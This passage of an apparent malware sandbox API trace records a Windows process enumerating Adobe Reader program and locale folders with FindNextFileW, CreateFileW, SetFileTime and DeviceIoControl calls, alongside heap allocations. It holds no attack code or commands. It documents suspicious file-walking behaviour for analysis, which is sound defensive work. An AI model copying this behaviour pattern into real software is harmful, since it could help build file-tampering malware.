lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81f71060, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xe1, dwReserved0=0x0, dwReserved1=0x0, cFileName="Services.asfx", cAlternateFileName="")) returned 1 [0081.956] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81f71060, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xe1, dwReserved0=0x0, dwReserved1=0x0, cFileName="Services.asfx", cAlternateFileName="")) returned 0 [0081.956] GetLastError () returned 0x12 [0081.957] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x127a240) returned 1 [0081.957] FindClose (in: hFindFile=0x2e9100 | out: hFindFile=0x2e9100) returned 1 [0081.957] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x127a348) returned 1 [0081.957] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x127a138) returned 1 [0081.957] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7ddd5200, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x2a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="Spelling.SUO", cAlternateFileName="")) returned 1 [0081.957] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7f4be5c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x2800, dwReserved0=0x0, dwReserved1=0x0, cFileName="updater.SUO", cAlternateFileName="")) returned 1 [0081.957] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82b57e60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x6a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="Weblink.SUO", cAlternateFileName="")) returned 1 [0081.957] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82b57e60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x6a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="Weblink.SUO", cAlternateFileName="")) returned 0 [0081.957] GetLastError () returned 0x12 [0081.957] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c7c0) returned 1 [0081.957] FindClose (in: hFindFile=0x2e9040 | out: hFindFile=0x2e9040) returned 1 [0081.958] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x125ec28) returned 1 [0081.958] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b858) returned 1 [0081.958] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d749580, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x82f824e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x82f824e0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fr_FR", cAlternateFileName="")) returned 1 [0081.958] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b858 [0081.958] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\fr_FR" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\fr_fr"), fInfoLevelId=0x0, lpFileInformation=0x119eb98 | out: lpFileInformation=0x119eb98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d749580, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x82f824e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x82f824e0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0081.959] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\fr_FR" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\fr_fr"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x168 [0081.959] SetFileTime (hFile=0x168, lpCreationTime=0x0, lpLastAccessTime=0x119ebdc, lpLastWriteTime=0x119ebdc) returned 0 [0081.959] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x12a8040 [0081.959] DeviceIoControl (in: hDevice=0x168, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x12a8040, nOutBufferSize=0x4000, lpBytesReturned=0x119ec34, lpOverlapped=0x0 | out: lpOutBuffer=0x12a8040, lpBytesReturned=0x119ec34, lpOverlapped=0x0) returned 0 [0081.960] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12a8040) returned 1 [0081.960] NtClose (Handle=0x168) returned 0x0 [0081.960] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b858) returned 1 [0081.960] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b858 [0081.960] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c7c0 [0081.960] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c848 [0081.960] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\fr_FR\\*", fInfoLevelId=0x1, lpFindFileData=0x119e9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e9e4) returned 0x2e9040 [0081.962] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d749580, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x82f824e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x82f824e0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0081.962] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d9aab80, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xb600, dwReserved0=0x0, dwReserved1=0x0, cFileName="accessibility.FRA", cAlternateFileName="")) returned 1 [0081.962] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b7d0 [0081.962] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b7d0) returned 1 [0081.962] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b7d0 [0081.963] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b7d0) returned 1 [0081.963] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b7d0 [0081.963] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x125ec28 [0081.963] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c7c0) returned 1 [0081.963] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x125a3e8 [0081.963] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x127a138 [0081.964] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b7d0) returned 1 [0081.964] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82ddf5c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x6e800, dwReserved0=0x0, dwReserved1=0x0, cFileName="Acroform.FRA", cAlternateFileName="")) returned 1 [0081.964] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b7d0 [0081.964] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b7d0) returned 1 [0081.964] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b7d0 [0081.964] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b7d0) returned 1 [0081.964] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b7d0 [0081.965] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x125a408 [0081.965] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x127a348 [0081.965] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b7d0) returned 1 [0081.965] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x801d5ec0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="AdobeCollabSync.FRA", cAlternateFileName="")) returned 1 [0081.965] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b7d0 [0081.965] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b7d0) returned 1 [0081.966] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b7d0 [0081.966] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b7d0) returned 1 [0081.966] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b7d0 [0081.966] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x125a428 [0081.966] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x127a240 [0081.966] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b7d0) returned 1 [0081.967] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82b7dfc0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x7f600, dwReserved0=0x0, dwReserved1=0x0, cFileName="Annots.FRA", cAlternateFileName="")) returned 1 [0081.967] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b7d0 [0081.967] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b7d0) returned 1 [0081.967] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b7d0 [0081.967] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b7d0) returned 1 [0081.967] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b7d0 [0081.967] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x125a448 [0081.968] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x127a660 [0081.968] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b7d0) returned 1 [0081.968] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x820558a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x3800, dwReserved0=0x0, dwReserved1=0x0, cFileName="BRdlang32.FRA", cAlternateFileName="")) returned 1 [0081.968] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b7d0 [0081.968] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b7d0) returned 1 [0081.968] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b7d0 [0081.969] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b7d0) returned 1 [0081.969] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b7d0 [0081.969] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x125a468 [0081.969] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x127a768 [0081.969] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b7d0) returned 1 [0081.969] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82e05720, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x20a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="Checkers.FRA", cAlternateFileName="")) returned 1 [0081.969] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b7d0 [0081.970] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b7d0) returned 1 [0081.970] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b7d0 [0081.970] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b7d0) returned 1 [0081.970] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b7d0 [0081.970] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x125a488 [0081.970] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x127a870 [0081.971] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b7d0) returned 1 [0081.971] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82ddf5c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x21c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="DigSig.FRA", cAlternateFileName="")) returned 1 [0081.971] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b7d0 [0081.971] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b7d0) returned 1 [0081.971] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b7d0 [0081.972] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b7d0) returned 1 [0081.972] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b7d0 [0081.972] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x125a4a8 [0081.972] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x127a978 [0081.972] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b7d0) returned 1 [0081.972] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82ddf5c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x4e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="DVA.FRA", cAlternateFileName="")) returned 1 [0081.972] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b7d0 [0081.973] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b7d0) returned 1 [0081.973] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b7d0 [0081.973] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b7d0) returned 1 [0081.973] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b7d0 [0081.973] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x125a4c8 [0081.973] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x127aa80 [0081.974] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b7d0) returned 1 [0081.974] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82ec3e00, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="eBook.FRA", cAlternateFileName="")) returned 1 [0081.974] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b7d0 [0081.974] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b7d0) returned 1 [0081.974] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b7d0 [0081.974] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b7d0) returned 1 [0081.974] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b7d0 [0081.975] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x125a4e8 [0081.975] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x127ab88 [0081.975] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b7d0) returned 1 [0081.975] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82ddf5c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xa800, dwReserved0=0x0, dwReserved1=0x0, cFileName="EScript.fra", cAlternateFileName="")) returned 1 [0081.975] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b7d0 [0081.976] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b7d0) returned 1 [0081.976] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b7d0 [0081.976] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b7d0) returned 1 [0081.976] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b7d0 [0081.976] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x125a508 [0081.976] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x127ac90 [0081.977] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b7d0) returned 1 [0081.977] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82ddf5c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="IA32.FRA", cAlternateFileName="")) returned 1 [0081.977] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b7d0 [0081.977] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b7d0) returned 1 [0081.977] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b7d0 [0081.977] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b7d0) returned 1 [0081.977] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b7d0 [0081.978] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x125a528 [0081.978] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x127ad98 [0081.978] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b7d0) returned 1 [0081.978] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7da69260, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x14c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="makeaccessible.FRA", cAlternateFileName="")) returned 1 [0081.978] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b7d0 [0081.978] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b7d0) returned 1 [0081.978] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b7d0 [0081.979] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b7d0) returned 1 [0081.979] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b7d0 [0081.979] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x125a548 [0081.979] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x127aea0 [0081.979] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x6b80) returned 0x1293f28 [0081.980] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12a14f8) returned 1 [0081.980] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b7d0) returned 1 [0081.980] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d749580, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x14400, dwReserved0=0x0, dwReserved1=0x0, cFileName="Multimedia.FRA", cAlternateFileName="")) returned 1 [0081.980] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b7d0 [0081.980] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b7d0) returned 1 [0081.980] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b7d0 [0081.980] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b7d0) returned 1 [0081.980] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b7d0 [0081.981] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x125a568 [0081.981] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x127afa8 [0081.981] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b7d0) returned 1 [0081.981] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7da1cfa0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x2e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="pddom.FRA", cAlternateFileName="")) returned 1 [0081.981] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b7d0 [0081.981] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b7d0) returned 1 [0081.982] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b7d0 [0081.982] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b7d0) returned 1 [0081.982] RtlAllocateHeap 